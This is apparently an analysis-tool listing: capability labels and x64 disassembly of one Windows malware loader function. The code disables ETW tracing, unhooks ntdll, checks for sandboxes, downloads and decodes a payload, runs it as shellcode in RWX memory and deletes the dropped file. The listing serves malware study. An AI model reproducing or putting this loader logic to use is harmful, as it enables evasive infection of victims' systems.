Function at 0x140001460
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Delete file
Encode data using xor
Execute shellcode via indirect call
Get common file path
Get memory capacity
Inject thread
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push r13
push r14
push r15
lea rbp, [rsp - 0x4c0]
sub rsp, 0x5c0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x480], rax
xor r13d, r13d
mov dword [rbp - 0x40], 0x45777445
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x58], r13d
mov dword [rbp - 0x3c], 0x746e6576
mov dword [rbp - 0x38], 0x74697257
mov word [rbp - 0x34], 0x65
mov dword [rsp + 0x60], 0x6c64746e
mov dword [rsp + 0x64], 0x6c642e6c
mov word [rsp + 0x68], 0x6c
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140001528
lea r9, [rsp + 0x58]
mov edx, 0x1000
lea r8d, [r13 + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001528
mov dword [rsp + 0x40], 0xc3c03348
lea r9, [rsp + 0x58]
mov eax, dword [rsp + 0x40]
mov edx, 0x1000
mov dword [rbx], eax
mov rcx, rbx
mov r8d, dword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [rsp + 0x5f0], rdi
call fcn.140001070
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x6c64746e
mov r15, rax
mov dword [rsp + 0x64], 0x6c642e6c
mov word [rsp + 0x68], 0x6c
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movsxd r14, dword [r15 + 0x3c]
mov rsi, rax
add r14, r15
je 0x140001620
movzx ebx, word [r14 + 0x14]
movzx edi, r13w
add rbx, 0x18
mov dword [rsp + 0x58], r13d
add rbx, r14
cmp r13w, word [r14 + 6]
jae 0x140001620
mov dword [rsp + 0x40], 0x7865742e
mov word [rsp + 0x44], 0x74
nop dword [rax]
lea r8, [rsp + 0x40]
mov rax, rbx
sub r8, rbx
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400015c3
inc rax
test ecx, ecx
jne 0x1400015b0
test edx, edx
jne 0x140001616
mov ecx, dword [rbx + 0xc]
lea r9, [rsp + 0x58]
mov edx, dword [rbx + 8]
add rcx, rsi
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001620
mov eax, dword [rbx + 0xc]
mov r8d, dword [rbx + 8]
lea rdx, [rax + r15]
lea rcx, [rsi + rax]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [rbx + 0xc]
lea r9, [rsp + 0x58]
mov edx, dword [rbx + 8]
add rcx, rsi
mov r8d, dword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001620
inc di
cmp di, word [r14 + 6]
jb 0x1400015a0
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x5f8], r12
mov dword [rbp - 0x80], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rbp - 0x78]
shr rax, 0x14
cmp eax, 0x1000
jb 0x1400016d3
movdqa xmm0, xmmword [0x140003400]
lea rcx, [rbp - 0x40]
xor r9d, r9d
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
xor edx, edx
movdqu xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x30], 0x3065
lea r8d, [r9 + 3]
mov byte [rbp - 0x2e], r13b
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400016d3
mov qword [rsp + 0x38], r13
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
xor r9d, r9d
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 0x18
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, 0x70000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x14000170f
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov r12, qword [rsp + 0x5f8]
mov rdi, qword [rsp + 0x5f0]
mov rcx, qword [rbp + 0x480]
xor rcx, rsp
call fcn.140001d00
mov rbx, qword [rsp + 0x600]
add rsp, 0x5c0
pop r15
pop r14
pop r13
pop rsi
pop rbp
ret
mov ecx, dword [rsp + 0x70]
mov eax, dword [rsp + 0x74]
imul rax, rcx
mov ecx, dword [rsp + 0x6c]
imul rax, rcx
mov rcx, rdi
imul rax, qword [rsp + 0x60]
cqo
and edx, 0x3fffffff
lea rbx, [rdx + rax]
sar rbx, 0x1e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0xfa
jb 0x1400016d3
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x6e72656b
mov dword [rsp + 0x64], 0x32336c65
mov dword [rsp + 0x68], 0x6c6c642e
mov byte [rsp + 0x6c], r13b
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1400017aa
lea rdx, [rbp - 0x40]
mov dword [rbp - 0x40], 0x53746547
mov rcx, rax
mov dword [rbp - 0x3c], 0x65747379
mov dword [rbp - 0x38], 0x666e496d
mov word [rbp - 0x34], 0x6f
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400017aa
lea rcx, [rbp - 0x80]
call rax
lea rcx, [rbp - 0x10]
mov dword [rbp - 0x10], 0x6d6c7255
mov dword [rbp - 0xc], 0x642e6e6f
mov word [rbp - 8], 0x6c6c
mov byte [rbp - 6], r13b
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r12, rax
test rax, rax
je 0x1400016d3
movdqa xmm0, xmmword [0x1400033d0]
lea rdx, [rbp + 0x28]
mov rcx, rax
mov word [rbp + 0x38], _initterm_e
movdqu xmmword [rbp + 0x28], xmm0
mov byte [rbp + 0x3a], r13b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140001b65
lea rdx, [rbp + 0x260]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
lea r8, [0x140003368]
mov edx, 0x104
mov r9d, eax
lea rcx, [rbp + 0x150]
call fcn.140001010
lea rax, [rbp + 0x150]
mov dword [rbp - 0x20], 0x255c7325
lea r9, [rbp + 0x260]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x20]
mov word [rbp - 0x1c], 0x73
mov edx, 0x104
lea rcx, [rbp + 0x40]
call fcn.140001010
cmp byte [0x140005059], r13b
lea r10, str.ZG_EE_r
je 0x140001a61
cmp dword [0x140005018], 2
mov r8d, r13d
jl 0x140001a22
movdqa xmm0, xmmword [str.2222222222222222]
lea rcx, [0x14000503c]
movdqa xmm5, xmmword [0x140003370]
mov eax, 4
movdqa xmm4, xmmword [0x1400033b0]
movaps xmmword [rsp + 0x5b0], xmm6
movaps xmmword [rsp + 0x5a0], xmm7
movdqa xmm7, xmmword [str.1111]
movd xmm6, eax
mov eax, 0x1f
movaps xmmword [rsp + 0x590], xmm8
movdqa xmmword [rbp - 0x40], xmm0
mov edx, dword [rbp - 0x40]
movd xmm8, eax
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x140003390]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140003390]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x20
jl 0x140001900
movaps xmm8, xmmword [rsp + 0x590]
movaps xmm7, xmmword [rsp + 0x5a0]
movaps xmm6, xmmword [rsp + 0x5b0]
cmp r8d, 0x22
jge 0x140001a61
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x22
jl 0x140001a30
xor r9d, r9d
mov qword [rsp + 0x20], r13
lea r8, [rbp + 0x40]
mov rdx, r10
xor ecx, ecx
call rbx
test eax, eax
jne 0x1400016d3
lea r8, [0x14000336c]
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
test eax, eax
jne 0x1400016d3
mov rcx, qword [rsp + 0x50]
lea r8d, [rax + 2]
xor edx, edx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov rcx, qword [rsp + 0x50]
mov r15d, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_rewind]
mov ecx, r15d
mov rax, 0xffffffffffffffff
add ecx, 1
cmovb rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x140001af3
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x1400016d3
mov r9, qword [rsp + 0x50]
mov edx, 1
movsxd rbx, r15d
mov rcx, rdi
mov r8, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, qword [rsp + 0x50]
mov byte [rbx + rdi], r13b
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, r15
mov dword [rsp + 0x48], r15d
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea rcx, [rbp]
mov dword [rbp], 0x70797243
mov rsi, rax
mov dword [rbp + 4], 0x2e323374
mov dword [rbp + 8], 0x6c6c64
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
test rax, rax
jne 0x140001b73
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x1400016d3
movdqa xmm0, xmmword [0x1400033f0]
lea rdx, [rbp + 0x10]
mov rcx, r14
mov dword [rbp + 0x20], 0x41797261
movdqu xmmword [rbp + 0x10], xmm0
mov byte [rbp + 0x24], r13b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001c33
mov qword [rsp + 0x30], r13
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x28], r13
mov r9, rsi
mov qword [rsp + 0x20], rcx
mov r8d, 1
mov rcx, rdi
mov edx, r15d
call rax
mov edx, dword [rsp + 0x48]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, dword [rsp + 0x48]
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, ebx
mov qword [rsp + 0x20], r13
mov rcx, rax
mov r8, rsi
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r9d, r9d
mov qword [rsp + 0x28], r13
mov r8, r15
mov dword [rsp + 0x20], r13d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x140001c53
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x1400016d3
lea rax, [rbp + 0x150]
mov dword [rbp - 0x18], 0x255c7325
lea r9, [rbp + 0x260]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x18]
mov word [rbp - 0x14], 0x73
mov edx, 0x104
lea rcx, [rbp + 0x370]
call fcn.140001010
lea rcx, [rbp + 0x370]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
call fcn.1400011e0
xor eax, eax
jmp 0x1400016d8